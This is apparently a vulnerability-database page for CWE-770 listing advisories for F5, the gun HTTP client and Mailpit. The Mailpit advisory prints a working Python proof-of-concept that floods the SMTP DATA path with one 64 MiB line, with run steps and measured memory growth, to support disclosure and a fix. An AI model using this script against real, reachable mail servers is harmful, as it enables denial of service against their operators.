CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3510 vulnerabilities reference this CWE, most recent first.
GHSA-R527-86H2-VJJ6
Vulnerability from github – Published: 2024-02-14 18:30 – Updated: 2024-02-14 18:30When SSL Client Certificate LDAP or Certificate Revocation List Distribution Point (CRLDP) authentication profile is configured on a virtual server, undisclosed requests can cause an increase in CPU resource utilization.
Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated
{
"affected": [],
"aliases": [
"CVE-2024-23979"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-14T17:15:14Z",
"severity": "HIGH"
},
"details": "\nWhen SSL Client Certificate LDAP or Certificate Revocation List Distribution Point (CRLDP) authentication profile is configured on a virtual server, undisclosed requests can cause an increase in CPU resource utilization. \n\n \n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated",
"id": "GHSA-r527-86h2-vjj6",
"modified": "2024-02-14T18:30:26Z",
"published": "2024-02-14T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23979"
},
{
"type": "WEB",
"url": "https://my.f5.com/manage/s/article/K000134516"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R53J-FJJ5-MV77
Vulnerability from github – Published: 2026-06-08 15:33 – Updated: 2026-07-29 15:45Uncontrolled Resource Consumption vulnerability in ninenines gun (gun_http module) allows a malicious server to exhaust client memory via unbounded HTTP/1.1 response buffering.
In gun_http:handle/5, three clauses accumulate incoming TCP data into the connection's buffer field using binary concatenation with no upper-bound check: the head clause appends data until the \r\n\r\n header terminator is found; the body_chunked clause appends data whenever cow_http_te:stream_chunked/2 returns a more result indicating an incomplete chunk boundary; and the body_trailer clause appends data until the trailing \r\n\r\n is found. In each case, when the expected terminator never arrives, the enlarged binary is stored back into state and the process waits for more data, with no configurable or hard-coded ceiling on buffer size.
A malicious or compromised server can exploit this by sending a partial response that never completes. For example, a response may begin with HTTP/1.1 200 OK\r\nX-Pad: followed by an unbounded stream of arbitrary bytes, never sending the header terminator. The gun connection process will continuously append the incoming data to its buffer, causing unbounded heap growth. Because BEAM imposes no per-process heap limit by default, a single malicious connection can exhaust all available memory on the node, causing a node-wide out-of-memory crash.
This issue affects gun: from 1.0.0 before 2.4.0.
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "gun"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43973"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T15:45:14Z",
"nvd_published_at": "2026-06-08T15:16:46Z",
"severity": "HIGH"
},
"details": "Uncontrolled Resource Consumption vulnerability in ninenines gun (gun_http module) allows a malicious server to exhaust client memory via unbounded HTTP/1.1 response buffering.\n\nIn gun_http:handle/5, three clauses accumulate incoming TCP data into the connection\u0027s buffer field using binary concatenation with no upper-bound check: the head clause appends data until the \\r\\n\\r\\n header terminator is found; the body_chunked clause appends data whenever cow_http_te:stream_chunked/2 returns a more result indicating an incomplete chunk boundary; and the body_trailer clause appends data until the trailing \\r\\n\\r\\n is found. In each case, when the expected terminator never arrives, the enlarged binary is stored back into state and the process waits for more data, with no configurable or hard-coded ceiling on buffer size.\n\nA malicious or compromised server can exploit this by sending a partial response that never completes. For example, a response may begin with HTTP/1.1 200 OK\\r\\nX-Pad: followed by an unbounded stream of arbitrary bytes, never sending the header terminator. The gun connection process will continuously append the incoming data to its buffer, causing unbounded heap growth. Because BEAM imposes no per-process heap limit by default, a single malicious connection can exhaust all available memory on the node, causing a node-wide out-of-memory crash.\n\nThis issue affects gun: from 1.0.0 before 2.4.0.",
"id": "GHSA-r53j-fjj5-mv77",
"modified": "2026-07-29T15:45:14Z",
"published": "2026-06-08T15:33:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43973"
},
{
"type": "WEB",
"url": "https://github.com/ninenines/gun/commit/f3e7e0568b3c4cf9fa4bea79d5116e67ce76ad25"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-43973.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/ninenines/gun"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-43973"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "gun has an Uncontrolled Resource Consumption vulnerability"
}
GHSA-R553-M4FV-5V97
Vulnerability from github – Published: 2026-08-20 21:34 – Updated: 2026-08-20 21:34Summary
Mailpit's SMTP DATA reader enforces the configured MaxMessageSize only after bufio.Reader.ReadBytes('\n') has already buffered a complete DATA line. A remote unauthenticated SMTP client can send one line larger than the configured message-size cap and force memory allocation before Mailpit returns the expected 552 5.3.4 rejection, leaving patched versions still exposed to a single-line incomplete-fix variant of the earlier SMTP DATA body-size issue.
Technical Details
Mailpit enables SMTP by default. The SMTP server now wires config.MaxMessageSize into srv.MaxSize:
if config.MaxMessageSize > 0 {
srv.MaxSize = config.MaxMessageSize * 1024 * 1024
}
The DATA reader then checks that cap, but only after reading a full newline-terminated line into memory:
line, err := s.br.ReadBytes('\n')
if err != nil {
return nil, err
}
if bytes.Equal(line, []byte(".\r\n")) {
break
}
if line[0] == '.' {
line = line[1:]
}
if s.srv.MaxSize > 0 {
if len(data)+len(line) > s.srv.MaxSize {
_, _ = s.br.Discard(s.br.Buffered())
return nil, maxSizeExceeded(s.srv.MaxSize)
}
}
This ordering violates the size-limit invariant. The configured cap can reject the message only after the attacker has supplied the line terminator and ReadBytes('\n') has allocated the over-limit line. With the default 50 MiB cap, a 64 MiB single DATA line is still buffered before Mailpit returns 552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800).
This is related to the older SMTP DATA body-size advisory, but it is a post-fix gap: srv.MaxSize is now assigned, and normal multi-line DATA accumulation is bounded. The remaining issue is that one individual DATA line is not bounded before buffering.
PoV
The following reduced proof starts a local Mailpit release binary, sends a small DATA message as a negative control, then sends one 64 MiB DATA line without an intermediate newline. It samples process RSS while the request is in flight:
#!/usr/bin/env python3
import os, socket, subprocess, threading, time
from pathlib import Path
def free_port():
s = socket.socket()
s.bind(("127.0.0.1", 0))
p = s.getsockname()[1]
s.close()
return p
def rss_kib(pid):
return int(subprocess.check_output(["ps", "-o", "rss=", "-p", str(pid)], text=True).strip())
def recv_line(sock):
data = b""
while not data.endswith(b"\n"):
chunk = sock.recv(1)
if not chunk:
break
data += chunk
return data.decode("latin-1", "replace").strip()
def send_cmd(sock, cmd):
sock.sendall(cmd)
return recv_line(sock)
def wait_for_smtp(port):
deadline = time.time() + 8
while time.time() < deadline:
try:
with socket.create_connection(("127.0.0.1", port), timeout=0.5) as sock:
recv_line(sock)
return
except OSError:
time.sleep(0.1)
raise RuntimeError("SMTP server did not become ready")
def send_data_line(port, pid, label, payload_bytes, finish_message):
stop = threading.Event()
peak = {"rss": rss_kib(pid)}
def monitor():
while not stop.is_set():
peak["rss"] = max(peak["rss"], rss_kib(pid))
time.sleep(0.03)
t = threading.Thread(target=monitor, daemon=True)
t.start()
sock = socket.create_connection(("127.0.0.1", port), timeout=20)
try:
recv_line(sock)
send_cmd(sock, b"HELO pov.example\r\n")
send_cmd(sock, b"MAIL FROM:<sender@example.test>\r\n")
send_cmd(sock, b"RCPT TO:<recipient@example.test>\r\n")
send_cmd(sock, b"DATA\r\n")
sock.sendall(f"Subject: {label}\r\n\r\n".encode())
chunk = b"A" * min(1024 * 1024, payload_bytes)
remaining = payload_bytes
while remaining:
n = min(len(chunk), remaining)
sock.sendall(chunk[:n])
remaining -= n
sock.sendall(b"\r\n.\r\n" if finish_message else b"\r\n")
response = recv_line(sock)
finally:
stop.set()
t.join(timeout=1)
sock.close()
after = rss_kib(pid)
return response, max(peak["rss"], after), after
mailpit = "./mailpit"
workdir = Path("./pov-work")
workdir.mkdir(exist_ok=True)
http_port, smtp_port = free_port(), free_port()
proc = subprocess.Popen([mailpit, "--disable-version-check", "--database", str(workdir / "mailpit.db"), "--listen", f"127.0.0.1:{http_port}", "--smtp", f"127.0.0.1:{smtp_port}", "--max-message-size", "50"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, env=os.environ.copy())
try:
wait_for_smtp(smtp_port)
time.sleep(0.25)
max_message_size_mib = 50
control_payload = 1024
oversized_payload = 64 * 1024 * 1024
baseline = rss_kib(proc.pid)
control_resp, control_peak, after_control = send_data_line(smtp_port, proc.pid, "negative-control", control_payload, True)
oversized_resp, oversized_peak, after_oversized = send_data_line(smtp_port, proc.pid, "oversized-single-line", oversized_payload, False)
print(f"max_message_size_mib={max_message_size_mib}")
print(f"baseline_rss_kib={baseline}")
print(f"control_payload_bytes={control_payload}")
print(f"control_response={control_resp}")
print(f"control_peak_delta_kib={control_peak - baseline}")
print(f"after_control_rss_kib={after_control}")
print(f"oversized_single_data_line_bytes={oversized_payload}")
print(f"oversized_response={oversized_resp}")
print(f"oversized_peak_delta_kib={oversized_peak - after_control}")
print(f"after_oversized_rss_kib={after_oversized}")
finally:
proc.terminate()
try:
proc.wait(timeout=5)
except subprocess.TimeoutExpired:
proc.kill()
PoC
For the official Darwin ARM64 v1.30.3 release binary used for this proof, start in a clean parent directory and create the PoC directory:
mkdir mailpit-v1.30.3-pov
cd mailpit-v1.30.3-pov
From inside that directory, save the script above as smtp_data_line_size_pov.py, then run:
curl -fsSLO https://github.com/axllent/mailpit/releases/download/v1.30.3/mailpit-darwin-arm64.tar.gz
tar -xzf mailpit-darwin-arm64.tar.gz
chmod +x ./mailpit
./mailpit version
python3 ./smtp_data_line_size_pov.py
The official Darwin ARM64 v1.30.3 release binary reported:
mailpit v1.30.3 compiled with go1.26.4 on darwin/arm64
The bounded PoC output was:
max_message_size_mib=50
baseline_rss_kib=25008
control_payload_bytes=1024
control_response=250 2.0.0 Ok: queued as 1702Ad5k2J9kgOrc6phO0X
control_peak_delta_kib=2656
after_control_rss_kib=27680
oversized_single_data_line_bytes=67108864
oversized_response=552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800)
oversized_peak_delta_kib=132928
after_oversized_rss_kib=160608
The control shows the normal DATA path accepting and queueing a small message. The oversized case differs only in DATA line length: Mailpit returns the configured size-cap rejection, but only after process RSS rises by about 130 MiB for one 64 MiB line.
Impact
An unauthenticated client that can reach the SMTP listener can force Mailpit to allocate memory above the configured MaxMessageSize before rejection. Repeating the input across concurrent connections can create substantial memory pressure and degrade service availability. The issue is bounded by attacker bandwidth and host memory rather than by the configured message-size cap until a newline arrives and the delayed check runs.
Exploitability requires the SMTP listener to be reachable by an untrusted client. Typical Mailpit deployments confined to trusted internal networks, CI environments without untrusted SMTP access, or loopback-only access therefore have substantially lower practical risk. AV:N describes the network attack path in a reachable deployment; it does not imply that most Mailpit instances are exposed to the public Internet.
The PoV demonstrates substantial memory pressure but does not establish complete service loss. The advisory therefore uses Low availability impact (A:L), producing a CVSS 3.1 score of 5.3 (Medium).
Suggested Fix
Bound SMTP DATA line reads before buffering the full line. Replace unbounded ReadBytes('\n') with a reader that stops once len(data)+currentLineBytes would exceed srv.MaxSize, returns the existing 552 5.3.4 error, and drains or closes the connection without retaining the over-limit line. The check should account for dot-stuffing and the CRLF terminator, and should reject before allocating attacker-controlled bytes beyond the configured cap.
Regression tests should cover a normal small DATA message, a multi-line message exactly at the cap, and a single line over the cap. The over-cap single-line test should assert that Mailpit returns 552 5.3.4 without reading the whole line into a returned buffer or causing material RSS growth.
Affected Package/Versions
Confirmed affected:
v1.30.0, commitaf8756a32cf7ecf06bef109c1348b783f1a239ee, source has the post-fixsrv.MaxSizewiring and the sameReadBytes('\n')before size enforcement.v1.30.3, commit6acf5b8f942ab0e007b1227d31dfb3c3303e8d13, reproduces with the official Darwin ARM64 binary shown above.- Latest release
v1.30.4, commit3b41030dbef4574ec92b815cb464fec7b4cfdc15, published 2026-07-09, is source-confirmed with the same vulnerable ordering. - Current
develop, commit6a09f28d5489a85245cc8ddbf512047495627147, checked 2026-07-09, is source-confirmed with the same vulnerable ordering.
No fixed version was identified during this review.
A focused source sweep on 2026-07-09 returned the same ordering for the lower post-fix release, latest release, and current develop: internal/smtpd/main.go wires MaxMessageSize into srv.MaxSize, while internal/smtpd/smtpd.go still reads a full DATA line before enforcing that cap.
develop_head=6a09f28d5489a85245cc8ddbf512047495627147
v1.30.4_commit=3b41030dbef4574ec92b815cb464fec7b4cfdc15
v1.30.0_commit=af8756a32cf7ecf06bef109c1348b783f1a239ee
v1.30.0:internal/smtpd/main.go:250: if config.MaxMessageSize > 0 {
v1.30.0:internal/smtpd/main.go:251: srv.MaxSize = config.MaxMessageSize * 1024 * 1024
v1.30.0:internal/smtpd/smtpd.go:855: line, err := s.br.ReadBytes('\n')
v1.30.0:internal/smtpd/smtpd.go:869: if s.srv.MaxSize > 0 {
v1.30.0:internal/smtpd/smtpd.go:870: if len(data)+len(line) > s.srv.MaxSize {
v1.30.0:internal/smtpd/smtpd.go:872: return nil, maxSizeExceeded(s.srv.MaxSize)
v1.30.4:internal/smtpd/main.go:250: if config.MaxMessageSize > 0 {
v1.30.4:internal/smtpd/main.go:251: srv.MaxSize = config.MaxMessageSize * 1024 * 1024
v1.30.4:internal/smtpd/smtpd.go:878: line, err := s.br.ReadBytes('\n')
v1.30.4:internal/smtpd/smtpd.go:892: if s.srv.MaxSize > 0 {
v1.30.4:internal/smtpd/smtpd.go:893: if len(data)+len(line) > s.srv.MaxSize {
v1.30.4:internal/smtpd/smtpd.go:895: return nil, maxSizeExceeded(s.srv.MaxSize)
develop:internal/smtpd/main.go:250: if config.MaxMessageSize > 0 {
develop:internal/smtpd/main.go:251: srv.MaxSize = config.MaxMessageSize * 1024 * 1024
develop:internal/smtpd/smtpd.go:878: line, err := s.br.ReadBytes('\n')
develop:internal/smtpd/smtpd.go:892: if s.srv.MaxSize > 0 {
develop:internal/smtpd/smtpd.go:893: if len(data)+len(line) > s.srv.MaxSize {
develop:internal/smtpd/smtpd.go:895: return nil, maxSizeExceeded(s.srv.MaxSize)
Advisory History
The closest public advisory is GHSA-fpxj-m5q8-fphw, "Unauthenticated remote memory-exhaustion DoS via unlimited SMTP DATA and /api/v1/send body sizes." That advisory covered older versions where Server.MaxSize was not assigned, leaving SMTP DATA bodies unlimited. This report is the post-fix single-line gap: MaxSize is assigned and the message is eventually rejected, but one over-limit DATA line is still buffered before the cap runs.
Other published Mailpit advisories checked include GHSA-28pq-6qxg-wg5r for sibling HTTP JSON body limits, GHSA-54wq-72mp-cq7c for SMTP header injection, GHSA-w4vj-r5pg-3722 for proxy CSS map concurrency, GHSA-qx5x-85p8-vg4j for dump path traversal, the SSRF/link-check/proxy/html-check family, and GHSA-524m-q5m7-79mm for CSWSH. None describe this post-fix SMTP DATA line-buffering behavior.
GHSA-w878-pj84-3j5v and GHSA-75mr-qw9x-3r39 were published on 2026-07-09 and included in the v1.30.4 security release. GHSA-w878-pj84-3j5v caps SMTP command lines before DATA and POP3 command lines before message retrieval. It remains distinct from this post-DATA path: v1.30.4 still calls ReadBytes('\n') in readData() before comparing the complete line against MaxSize. GHSA-75mr-qw9x-3r39 bounds decoded thumbnail dimensions in the HTTP attachment handler, with a different boundary, sink, precondition, and fix surface.
The separate POP3 command-line draft was rejected and removed after GHSA-w878-pj84-3j5v and the v1.30.4 release established that the shared command-line fix covers both SMTP and POP3. That disposition does not cover this report: the affected path is SMTP readData() after DATA, remains present in v1.30.4, and requires a remaining-message or DATA-line bound rather than a command-reader cap.
Public issue searches for SMTP DATA line size and ReadBytes DATA MaxSize returned no matching issues. Public commit search for MaxSize ReadBytes returned no matching fix.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/axllent/mailpit"
},
"ranges": [
{
"events": [
{
"introduced": "1.30.0"
},
{
"fixed": "1.30.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67447"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-20T21:34:52Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nMailpit\u0027s SMTP DATA reader enforces the configured `MaxMessageSize` only after `bufio.Reader.ReadBytes(\u0027\\n\u0027)` has already buffered a complete DATA line. A remote unauthenticated SMTP client can send one line larger than the configured message-size cap and force memory allocation before Mailpit returns the expected `552 5.3.4` rejection, leaving patched versions still exposed to a single-line incomplete-fix variant of the earlier SMTP DATA body-size issue.\n\n## Technical Details\n\nMailpit enables SMTP by default. The SMTP server now wires `config.MaxMessageSize` into `srv.MaxSize`:\n\n```go\nif config.MaxMessageSize \u003e 0 {\n srv.MaxSize = config.MaxMessageSize * 1024 * 1024\n}\n```\n\nThe DATA reader then checks that cap, but only after reading a full newline-terminated line into memory:\n\n```go\nline, err := s.br.ReadBytes(\u0027\\n\u0027)\nif err != nil {\n return nil, err\n}\n\nif bytes.Equal(line, []byte(\".\\r\\n\")) {\n break\n}\nif line[0] == \u0027.\u0027 {\n line = line[1:]\n}\n\nif s.srv.MaxSize \u003e 0 {\n if len(data)+len(line) \u003e s.srv.MaxSize {\n _, _ = s.br.Discard(s.br.Buffered())\n return nil, maxSizeExceeded(s.srv.MaxSize)\n }\n}\n```\n\nThis ordering violates the size-limit invariant. The configured cap can reject the message only after the attacker has supplied the line terminator and `ReadBytes(\u0027\\n\u0027)` has allocated the over-limit line. With the default 50 MiB cap, a 64 MiB single DATA line is still buffered before Mailpit returns `552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800)`.\n\nThis is related to the older SMTP DATA body-size advisory, but it is a post-fix gap: `srv.MaxSize` is now assigned, and normal multi-line DATA accumulation is bounded. The remaining issue is that one individual DATA line is not bounded before buffering.\n\n## PoV\n\nThe following reduced proof starts a local Mailpit release binary, sends a small DATA message as a negative control, then sends one 64 MiB DATA line without an intermediate newline. It samples process RSS while the request is in flight:\n\n```python\n#!/usr/bin/env python3\nimport os, socket, subprocess, threading, time\nfrom pathlib import Path\n\ndef free_port():\n s = socket.socket()\n s.bind((\"127.0.0.1\", 0))\n p = s.getsockname()[1]\n s.close()\n return p\n\ndef rss_kib(pid):\n return int(subprocess.check_output([\"ps\", \"-o\", \"rss=\", \"-p\", str(pid)], text=True).strip())\n\ndef recv_line(sock):\n data = b\"\"\n while not data.endswith(b\"\\n\"):\n chunk = sock.recv(1)\n if not chunk:\n break\n data += chunk\n return data.decode(\"latin-1\", \"replace\").strip()\n\ndef send_cmd(sock, cmd):\n sock.sendall(cmd)\n return recv_line(sock)\n\ndef wait_for_smtp(port):\n deadline = time.time() + 8\n while time.time() \u003c deadline:\n try:\n with socket.create_connection((\"127.0.0.1\", port), timeout=0.5) as sock:\n recv_line(sock)\n return\n except OSError:\n time.sleep(0.1)\n raise RuntimeError(\"SMTP server did not become ready\")\n\ndef send_data_line(port, pid, label, payload_bytes, finish_message):\n stop = threading.Event()\n peak = {\"rss\": rss_kib(pid)}\n def monitor():\n while not stop.is_set():\n peak[\"rss\"] = max(peak[\"rss\"], rss_kib(pid))\n time.sleep(0.03)\n t = threading.Thread(target=monitor, daemon=True)\n t.start()\n sock = socket.create_connection((\"127.0.0.1\", port), timeout=20)\n try:\n recv_line(sock)\n send_cmd(sock, b\"HELO pov.example\\r\\n\")\n send_cmd(sock, b\"MAIL FROM:\u003csender@example.test\u003e\\r\\n\")\n send_cmd(sock, b\"RCPT TO:\u003crecipient@example.test\u003e\\r\\n\")\n send_cmd(sock, b\"DATA\\r\\n\")\n sock.sendall(f\"Subject: {label}\\r\\n\\r\\n\".encode())\n chunk = b\"A\" * min(1024 * 1024, payload_bytes)\n remaining = payload_bytes\n while remaining:\n n = min(len(chunk), remaining)\n sock.sendall(chunk[:n])\n remaining -= n\n sock.sendall(b\"\\r\\n.\\r\\n\" if finish_message else b\"\\r\\n\")\n response = recv_line(sock)\n finally:\n stop.set()\n t.join(timeout=1)\n sock.close()\n after = rss_kib(pid)\n return response, max(peak[\"rss\"], after), after\n\nmailpit = \"./mailpit\"\nworkdir = Path(\"./pov-work\")\nworkdir.mkdir(exist_ok=True)\nhttp_port, smtp_port = free_port(), free_port()\nproc = subprocess.Popen([mailpit, \"--disable-version-check\", \"--database\", str(workdir / \"mailpit.db\"), \"--listen\", f\"127.0.0.1:{http_port}\", \"--smtp\", f\"127.0.0.1:{smtp_port}\", \"--max-message-size\", \"50\"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, env=os.environ.copy())\ntry:\n wait_for_smtp(smtp_port)\n time.sleep(0.25)\n max_message_size_mib = 50\n control_payload = 1024\n oversized_payload = 64 * 1024 * 1024\n baseline = rss_kib(proc.pid)\n control_resp, control_peak, after_control = send_data_line(smtp_port, proc.pid, \"negative-control\", control_payload, True)\n oversized_resp, oversized_peak, after_oversized = send_data_line(smtp_port, proc.pid, \"oversized-single-line\", oversized_payload, False)\n print(f\"max_message_size_mib={max_message_size_mib}\")\n print(f\"baseline_rss_kib={baseline}\")\n print(f\"control_payload_bytes={control_payload}\")\n print(f\"control_response={control_resp}\")\n print(f\"control_peak_delta_kib={control_peak - baseline}\")\n print(f\"after_control_rss_kib={after_control}\")\n print(f\"oversized_single_data_line_bytes={oversized_payload}\")\n print(f\"oversized_response={oversized_resp}\")\n print(f\"oversized_peak_delta_kib={oversized_peak - after_control}\")\n print(f\"after_oversized_rss_kib={after_oversized}\")\nfinally:\n proc.terminate()\n try:\n proc.wait(timeout=5)\n except subprocess.TimeoutExpired:\n proc.kill()\n```\n\n## PoC\n\nFor the official Darwin ARM64 `v1.30.3` release binary used for this proof, start in a clean parent directory and create the PoC directory:\n\n```fish\nmkdir mailpit-v1.30.3-pov\ncd mailpit-v1.30.3-pov\n```\n\nFrom inside that directory, save the script above as `smtp_data_line_size_pov.py`, then run:\n\n```fish\ncurl -fsSLO https://github.com/axllent/mailpit/releases/download/v1.30.3/mailpit-darwin-arm64.tar.gz\ntar -xzf mailpit-darwin-arm64.tar.gz\nchmod +x ./mailpit\n./mailpit version\npython3 ./smtp_data_line_size_pov.py\n```\n\nThe official Darwin ARM64 `v1.30.3` release binary reported:\n\n```text\nmailpit v1.30.3 compiled with go1.26.4 on darwin/arm64\n```\n\nThe bounded PoC output was:\n\n```text\nmax_message_size_mib=50\nbaseline_rss_kib=25008\ncontrol_payload_bytes=1024\ncontrol_response=250 2.0.0 Ok: queued as 1702Ad5k2J9kgOrc6phO0X\ncontrol_peak_delta_kib=2656\nafter_control_rss_kib=27680\noversized_single_data_line_bytes=67108864\noversized_response=552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800)\noversized_peak_delta_kib=132928\nafter_oversized_rss_kib=160608\n```\n\nThe control shows the normal DATA path accepting and queueing a small message. The oversized case differs only in DATA line length: Mailpit returns the configured size-cap rejection, but only after process RSS rises by about 130 MiB for one 64 MiB line.\n\n## Impact\n\nAn unauthenticated client that can reach the SMTP listener can force Mailpit to allocate memory above the configured `MaxMessageSize` before rejection. Repeating the input across concurrent connections can create substantial memory pressure and degrade service availability. The issue is bounded by attacker bandwidth and host memory rather than by the configured message-size cap until a newline arrives and the delayed check runs.\n\nExploitability requires the SMTP listener to be reachable by an untrusted client. Typical Mailpit deployments confined to trusted internal networks, CI environments without untrusted SMTP access, or loopback-only access therefore have substantially lower practical risk. `AV:N` describes the network attack path in a reachable deployment; it does not imply that most Mailpit instances are exposed to the public Internet.\n\nThe PoV demonstrates substantial memory pressure but does not establish complete service loss. The advisory therefore uses Low availability impact (`A:L`), producing a CVSS 3.1 score of 5.3 (Medium).\n\n## Suggested Fix\n\nBound SMTP DATA line reads before buffering the full line. Replace unbounded `ReadBytes(\u0027\\n\u0027)` with a reader that stops once `len(data)+currentLineBytes` would exceed `srv.MaxSize`, returns the existing `552 5.3.4` error, and drains or closes the connection without retaining the over-limit line. The check should account for dot-stuffing and the CRLF terminator, and should reject before allocating attacker-controlled bytes beyond the configured cap.\n\nRegression tests should cover a normal small DATA message, a multi-line message exactly at the cap, and a single line over the cap. The over-cap single-line test should assert that Mailpit returns `552 5.3.4` without reading the whole line into a returned buffer or causing material RSS growth.\n\n## Affected Package/Versions\n\nConfirmed affected:\n\n- `v1.30.0`, commit `af8756a32cf7ecf06bef109c1348b783f1a239ee`, source has the post-fix `srv.MaxSize` wiring and the same `ReadBytes(\u0027\\n\u0027)` before size enforcement.\n- `v1.30.3`, commit `6acf5b8f942ab0e007b1227d31dfb3c3303e8d13`, reproduces with the official Darwin ARM64 binary shown above.\n- Latest release `v1.30.4`, commit `3b41030dbef4574ec92b815cb464fec7b4cfdc15`, published 2026-07-09, is source-confirmed with the same vulnerable ordering.\n- Current `develop`, commit `6a09f28d5489a85245cc8ddbf512047495627147`, checked 2026-07-09, is source-confirmed with the same vulnerable ordering.\n\nNo fixed version was identified during this review.\n\nA focused source sweep on 2026-07-09 returned the same ordering for the lower post-fix release, latest release, and current `develop`: `internal/smtpd/main.go` wires `MaxMessageSize` into `srv.MaxSize`, while `internal/smtpd/smtpd.go` still reads a full DATA line before enforcing that cap.\n\n```text\ndevelop_head=6a09f28d5489a85245cc8ddbf512047495627147\nv1.30.4_commit=3b41030dbef4574ec92b815cb464fec7b4cfdc15\nv1.30.0_commit=af8756a32cf7ecf06bef109c1348b783f1a239ee\n\nv1.30.0:internal/smtpd/main.go:250:\tif config.MaxMessageSize \u003e 0 {\nv1.30.0:internal/smtpd/main.go:251:\t\tsrv.MaxSize = config.MaxMessageSize * 1024 * 1024\nv1.30.0:internal/smtpd/smtpd.go:855:\t\tline, err := s.br.ReadBytes(\u0027\\n\u0027)\nv1.30.0:internal/smtpd/smtpd.go:869:\t\tif s.srv.MaxSize \u003e 0 {\nv1.30.0:internal/smtpd/smtpd.go:870:\t\t\tif len(data)+len(line) \u003e s.srv.MaxSize {\nv1.30.0:internal/smtpd/smtpd.go:872:\t\t\t\treturn nil, maxSizeExceeded(s.srv.MaxSize)\n\nv1.30.4:internal/smtpd/main.go:250:\tif config.MaxMessageSize \u003e 0 {\nv1.30.4:internal/smtpd/main.go:251:\t\tsrv.MaxSize = config.MaxMessageSize * 1024 * 1024\nv1.30.4:internal/smtpd/smtpd.go:878:\t\tline, err := s.br.ReadBytes(\u0027\\n\u0027)\nv1.30.4:internal/smtpd/smtpd.go:892:\t\tif s.srv.MaxSize \u003e 0 {\nv1.30.4:internal/smtpd/smtpd.go:893:\t\t\tif len(data)+len(line) \u003e s.srv.MaxSize {\nv1.30.4:internal/smtpd/smtpd.go:895:\t\t\t\treturn nil, maxSizeExceeded(s.srv.MaxSize)\n\ndevelop:internal/smtpd/main.go:250:\tif config.MaxMessageSize \u003e 0 {\ndevelop:internal/smtpd/main.go:251:\t\tsrv.MaxSize = config.MaxMessageSize * 1024 * 1024\ndevelop:internal/smtpd/smtpd.go:878:\t\tline, err := s.br.ReadBytes(\u0027\\n\u0027)\ndevelop:internal/smtpd/smtpd.go:892:\t\tif s.srv.MaxSize \u003e 0 {\ndevelop:internal/smtpd/smtpd.go:893:\t\t\tif len(data)+len(line) \u003e s.srv.MaxSize {\ndevelop:internal/smtpd/smtpd.go:895:\t\t\t\treturn nil, maxSizeExceeded(s.srv.MaxSize)\n```\n\n## Advisory History\n\nThe closest public advisory is `GHSA-fpxj-m5q8-fphw`, \"Unauthenticated remote memory-exhaustion DoS via unlimited SMTP DATA and /api/v1/send body sizes.\" That advisory covered older versions where `Server.MaxSize` was not assigned, leaving SMTP DATA bodies unlimited. This report is the post-fix single-line gap: `MaxSize` is assigned and the message is eventually rejected, but one over-limit DATA line is still buffered before the cap runs.\n\nOther published Mailpit advisories checked include `GHSA-28pq-6qxg-wg5r` for sibling HTTP JSON body limits, `GHSA-54wq-72mp-cq7c` for SMTP header injection, `GHSA-w4vj-r5pg-3722` for proxy CSS map concurrency, `GHSA-qx5x-85p8-vg4j` for dump path traversal, the SSRF/link-check/proxy/html-check family, and `GHSA-524m-q5m7-79mm` for CSWSH. None describe this post-fix SMTP DATA line-buffering behavior.\n\n`GHSA-w878-pj84-3j5v` and `GHSA-75mr-qw9x-3r39` were published on 2026-07-09 and included in the `v1.30.4` security release. `GHSA-w878-pj84-3j5v` caps SMTP command lines before `DATA` and POP3 command lines before message retrieval. It remains distinct from this post-DATA path: `v1.30.4` still calls `ReadBytes(\u0027\\n\u0027)` in `readData()` before comparing the complete line against `MaxSize`. `GHSA-75mr-qw9x-3r39` bounds decoded thumbnail dimensions in the HTTP attachment handler, with a different boundary, sink, precondition, and fix surface.\n\nThe separate POP3 command-line draft was rejected and removed after `GHSA-w878-pj84-3j5v` and the `v1.30.4` release established that the shared command-line fix covers both SMTP and POP3. That disposition does not cover this report: the affected path is SMTP `readData()` after `DATA`, remains present in `v1.30.4`, and requires a remaining-message or DATA-line bound rather than a command-reader cap.\n\nPublic issue searches for `SMTP DATA line size` and `ReadBytes DATA MaxSize` returned no matching issues. Public commit search for `MaxSize ReadBytes` returned no matching fix.",
"id": "GHSA-r553-m4fv-5v97",
"modified": "2026-08-20T21:34:52Z",
"published": "2026-08-20T21:34:52Z",
"references": [
{
"type": "WEB",
